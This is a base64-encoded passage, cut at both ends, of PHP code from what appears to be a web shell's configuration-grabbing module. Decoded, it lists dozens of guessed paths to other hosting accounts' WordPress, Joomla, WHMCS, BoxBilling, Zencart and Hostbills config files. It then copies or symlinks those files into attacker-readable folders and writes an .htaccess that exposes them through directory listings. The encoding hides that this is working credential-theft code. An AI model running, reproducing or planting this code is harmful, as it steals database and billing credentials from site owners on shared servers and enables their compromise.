ZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiID0+ICJeV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUNTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvV2htL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hvc3Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9zdGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9vcmRlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2J1eS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL21hbmFnZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmlsbC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQWNjb3VudC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvVXNlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQ2xpZW50cy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL015L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveGJpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3gvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50cy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50cy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIKKTsgIAoKZm9yZWFjaCgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsKICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7CiRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsKaWYoJGFtYmlsX2NvbmZpZyA9PSAnJykgewp9IGVsc2UgewokZmlsZV9jb25maWcgPSBmb3BlbigicmJiZF9jb25maWdncmFiLyR1c2VyX3JiYmQtJG5hbWFfY29uZmlnLnR4dCIsInciKTsKZnB1dHMoJGZpbGVfY29uZmlnLCRhbWJpbF9jb25maWcpOwp9Cn0KaWYoJF9QT1NUWydjb25maWcnXSA9PSAnc3ltbGluaycpIHsKQHN5bWxpbmsoJGNvbmZpZywicmJiZF9TeW1jb25maWcvIi4kdXNlcl9yYmJkLiItIi4kbmFtYV9jb25maWcuIi50eHQiKTsKfQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CiRzeW00MDQ9c3ltbGluaygkY29uZmlnLCJyYmJkX3N5bTQwNC8iLiR1c2VyX3JiYmQuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOwppZigkc3ltNDA0KXsKICAgIEBta2RpcigicmJiZF9zeW00MDQvIi4kdXNlcl9yYmJkLiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQiLCAwNzc3KTsKICAgICRodGFjY2Vzcz0iT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHJiYmQuaHRtCkhlYWRlck5hbWUgcmJiZC50eHQKU2F0aXNmeSBBbnkKSW5kZXhPcHRpb25zIElnbm9yZUNhc2UgRmFuY3lJbmRleGluZyBGb2xkZXJzRmlyc3QgTmFtZVdpZHRoPSogRGVzY3JpcHRpb25XaWR0aD0qIFN1cHByZXNzSFRNTFByZWFtYmxlCkluZGV4SWdub3JlICoiOwoKQGZpbGVfcHV0X2NvbnRlbnRzKCJyYmJkX3N5bTQwNC8iLiR1c2VyX3JiYmQuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dDQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7CgpAc3ltbGluaygkY29uZmlnLCJyYmJkX3N5bTQwNC8iLiR1c2VyX3JiYmQuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dDQwNC9yYmJkLnR4dCIpOwoKICAgIH0KCn0KCiAgICAgICAgICAgICAgICAgICAgfSAgICAgCiAgICAgICAgfSAgaWYoJF9QT1NUWydjb25maWcnXSA9PSAnZ3JhYicpIHsKICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YSBocmVmPSc/cGF0aD0kcGF0aC9yYmJkX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsKICAgICAgICB9CiAgICBpZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4KPGEgaHJlZj1cInJiYmRfc3ltNDA0L3Jvb3QvXCI+U3ltbGlua055YTwvYT4KPGJyPjxhIGhyZWY9XCJyYmJkX3N5bTQwNC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOwogICAgfQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ